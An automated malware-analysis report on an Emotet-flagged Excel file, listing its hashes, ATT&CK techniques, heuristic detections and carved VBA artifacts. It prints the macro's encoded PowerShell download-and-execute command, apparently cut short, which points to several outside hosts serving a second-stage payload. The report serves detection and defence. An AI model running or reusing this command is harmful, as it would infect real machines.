Emotet Office (OOXML) / .XLSX malware analysis — malicious · aeae2c64c09c5b0a

MALICIOUS

Office (OOXML) / .XLSX

92.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: c1d5f929b66421b49187cd59e686bdb5 SHA-1: 0dd489732f1ec9f7da18e1969c7de89ed04926c5 SHA-256: aeae2c64c09c5b0a0bfcdb026da4f09e88e585d0652ddfc43d9bb42128bc8ddb

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The file is an Excel spreadsheet containing a Workbook_Open macro that executes a PowerShell command. This command is obfuscated but reconstructs to 'powershell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAdABwADoALwAvAGgAbwBsAHUAYgB2AGkAZABlAG8ALgBjAG8AbQAvAGUAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbgAtAGkAbQBhAGcAZQBzAC8AcwBrAFM` which downloads and executes a second-stage payload. The presence of multiple download URLs and the ClamAV signature strongly suggest the Emotet family.

Heuristics 5

ClamAV: Xls.Downloader.EmotetRed02221-9938910-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetRed02221-9938910-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `de7bcbc45ff0a77d05d9af662bacc316e71be11a980e94f6673e556a5dd9d1bc`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12808 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `99895ca6c41bbf42f8302ee6757e6a73a00a6ed9203c33d71e49ec47abd1ef7d`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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